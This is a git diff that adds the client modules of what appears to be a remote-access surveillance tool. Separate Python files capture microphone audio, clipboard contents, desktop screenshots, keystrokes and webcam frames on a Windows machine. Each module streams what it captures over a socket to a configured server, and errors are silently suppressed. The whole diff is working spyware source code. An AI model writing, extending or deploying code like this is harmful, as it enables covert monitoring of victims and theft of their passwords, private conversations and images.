summaryrefslogtreecommitdiff
path: root/client/modules
diff options
context:
space:
mode:
Diffstat (limited to 'client/modules')
-rw-r--r--client/modules/audio.py54
-rw-r--r--client/modules/clipper.py60
-rw-r--r--client/modules/desktop.py70
-rw-r--r--client/modules/keylogger.py85
-rw-r--r--client/modules/module.py20
-rw-r--r--client/modules/webcam.py81
6 files changed, 370 insertions, 0 deletions
diff --git a/client/modules/audio.py b/client/modules/audio.py
new file mode 100644
index 0000000..db37a6e
--- /dev/null
+++ b/client/modules/audio.py
@@ -0,0 +1,54 @@
+'''
+ Creates a connection to the server, sending a stream
+ of audio data using the specified channels & rate.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pyaudio
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import pyaudio
+import socket
+
+
+class Audio(Module):
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__audio = pyaudio.PyAudio()
+
+ @Error.quiet_thread
+ def __send(self, channels, rate):
+ try:
+ stream = self.__audio.open(format=pyaudio.paInt16,
+ channels=channels, rate=rate,
+ frames_per_buffer=Data.BUFFER_SIZE,
+ input=True)
+
+ try:
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ Data.send(sock, stream.read(
+ Data.BUFFER_SIZE), False)
+ Data.recv(sock)
+ finally:
+ stream.stop_stream()
+ stream.close()
+ finally:
+ self.__audio.terminate()
+
+ def live(self, channels, rate):
+ Helper.thread(self.__send, channels, rate)
diff --git a/client/modules/clipper.py b/client/modules/clipper.py
new file mode 100644
index 0000000..ede15de
--- /dev/null
+++ b/client/modules/clipper.py
@@ -0,0 +1,60 @@
+'''
+ Creates a connection to the server, sending the
+ clipboard data in intervals as long as its not
+ the same data as before.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pyperclip
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import pyperclip
+import socket
+import time
+
+
+class Clipper(Module):
+
+ __INTERVAL = Static.LIVE_TIMEOUT / 2
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__first = True
+ self.__before = ''
+
+ @Error.quiet_thread
+ def __send(self):
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ paste = data = pyperclip.paste()
+
+ if paste == self.__before:
+ data = ''
+ else:
+ if self.__first:
+ self.__first = False
+ data = f'{Helper.timestamp()}:{paste}'
+ else:
+ data = f'\n{Helper.timestamp()}:{paste}'
+
+ Data.send(sock, data)
+ Data.recv(sock)
+
+ self.__before = paste
+ time.sleep(Clipper.__INTERVAL)
+
+ def live(self):
+ Helper.thread(self.__send)
diff --git a/client/modules/desktop.py b/client/modules/desktop.py
new file mode 100644
index 0000000..bb38e1a
--- /dev/null
+++ b/client/modules/desktop.py
@@ -0,0 +1,70 @@
+'''
+ Creates a connection to the server, sending a stream
+ of screenshots from the specified monitor. Splitting
+ up the work in to two threads, one for taking the
+ screenshot, the other to send it.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * mss
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import mss.tools
+import socket
+import queue
+import mss
+
+if Static.WINDOWS:
+ import ctypes
+
+ # NOTE : Sets monitor DPI (zoom) to 100%,
+ # laptops usually have their DPI set to 125%,
+ # by default which this line will fix
+ Error.quiet(
+ ctypes.windll.user32.SetProcessDPIAware)()
+
+
+class Desktop(Module):
+
+ __MAX_SIZE = 1
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__queue = queue.Queue(Desktop.__MAX_SIZE)
+
+ @Error.quiet_thread
+ def __grab(self, monitor):
+ with mss.mss() as sct:
+ size = sct.monitors[monitor]
+
+ while True:
+ screenshot = sct.grab(size)
+ screenshot = mss.tools.to_png(screenshot.rgb,
+ screenshot.size)
+ self.__queue.put(screenshot,
+ timeout=Static.LIVE_TIMEOUT)
+
+ @Error.quiet_thread
+ def __send(self):
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ Data.send(sock, self.__queue.get(
+ timeout=Static.LIVE_TIMEOUT), False)
+ Data.recv(sock)
+
+ def live(self, monitor):
+ Helper.thread(self.__send)
+ Helper.thread(self.__grab, monitor)
diff --git a/client/modules/keylogger.py b/client/modules/keylogger.py
new file mode 100644
index 0000000..9911db5
--- /dev/null
+++ b/client/modules/keylogger.py
@@ -0,0 +1,85 @@
+'''
+ Creates a connection to the server, sending the
+ keystrokes pressed, with attached timestamps in
+ intervals.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pynput
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import socket
+import pynput
+import time
+import re
+
+
+class Keylogger(Module):
+
+ __INTERVAL = Static.LIVE_TIMEOUT / 2
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__listener = pynput.keyboard.Listener(
+ on_press=self.__press)
+ self.__listener.start()
+ self.__first = True
+ self.__keys = ''
+
+ def __press(self, key):
+ key = str(key)
+
+ if key == 'Key.enter':
+ key = f'\n{Helper.timestamp()}:'
+ else:
+ if key == 'Key.space':
+ key = ' '
+ elif key.startswith('Key.'):
+ key = key[4:]
+ else:
+ if re.search(r'^\[.*]$', key):
+ key = key[1:-1]
+
+ if re.search('^\'.*\'$', key):
+ key = key[1:-1]
+ elif re.search('^".*"$', key):
+ key = key[1:-1]
+ elif re.search('^<.*>$', key):
+ key = key[1:-1]
+
+ if len(key) > 1:
+ key = f'[{key.upper()}]'
+
+ if self.__first:
+ self.__first = False
+ key = f'{Helper.timestamp()}:{key}'
+
+ self.__keys += key
+
+ @Error.quiet_thread
+ def __send(self):
+ try:
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ keys, self.__keys = self.__keys, ''
+ Data.send(sock, keys)
+ Data.recv(sock)
+ time.sleep(Keylogger.__INTERVAL)
+ finally:
+ self.__listener.stop()
+
+ def live(self):
+ Helper.thread(self.__send)
diff --git a/client/modules/module.py b/client/modules/module.py
new file mode 100644
index 0000000..14c6fea
--- /dev/null
+++ b/client/modules/module.py
@@ -0,0 +1,20 @@
+'''
+ A class used by all modules, for the simple
+ reason that every module requires a token.
+ it's easily extensible for future reference.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+
+class Module:
+
+ def __init__(self, token):
+ self.__token = token
+
+ @property
+ def token(self):
+ return self.__token
diff --git a/client/modules/webcam.py b/client/modules/webcam.py
new file mode 100644
index 0000000..ddda802
--- /dev/null
+++ b/client/modules/webcam.py
@@ -0,0 +1,81 @@
+'''
+ Creates a connection to the server, sending a stream
+ of snapshots from the specified monitor. Splitting
+ up the work in to two threads, one for taking the
+ snapshot, the other to send it.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * mss
+'''
+
+from client.modules.module import Module
+from client.state import ClientStatic
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import mss.tools
+import socket
+import queue
+import mss
+
+
+class Capture:
+
+ def __init__(self, device):
+ self.__device = device
+ self.__alive = True
+
+ @property
+ def device(self):
+ return self.__device
+
+ @property
+ def alive(self):
+ return self.__alive
+
+ def kill(self):
+ self.__alive = False
+
+
+class Webcam(Module):
+
+ __MAX_SIZE = 1
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__queue = queue.Queue(Webcam.__MAX_SIZE)
+ self.__device = ClientStatic.WEBCAM[token]
+
+ @Error.quiet
+ def __del__(self):
+ self.__device.kill()
+
+ @Error.quiet_thread
+ def __grab(self):
+ while True:
+ buffer, width, height = self.__device.device.getbuffer()
+ snapshot = mss.tools.to_png(buffer, (width, height))
+ self.__queue.put(snapshot,
+ timeout=Static.LIVE_TIMEOUT)
+
+ @Error.quiet_thread
+ def __send(self):
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ Data.send(sock, self.__queue.get(
+ timeout=Static.LIVE_TIMEOUT), False)
+ Data.recv(sock)
+
+ def live(self):
+ Helper.thread(self.__send)
+ Helper.thread(self.__grab)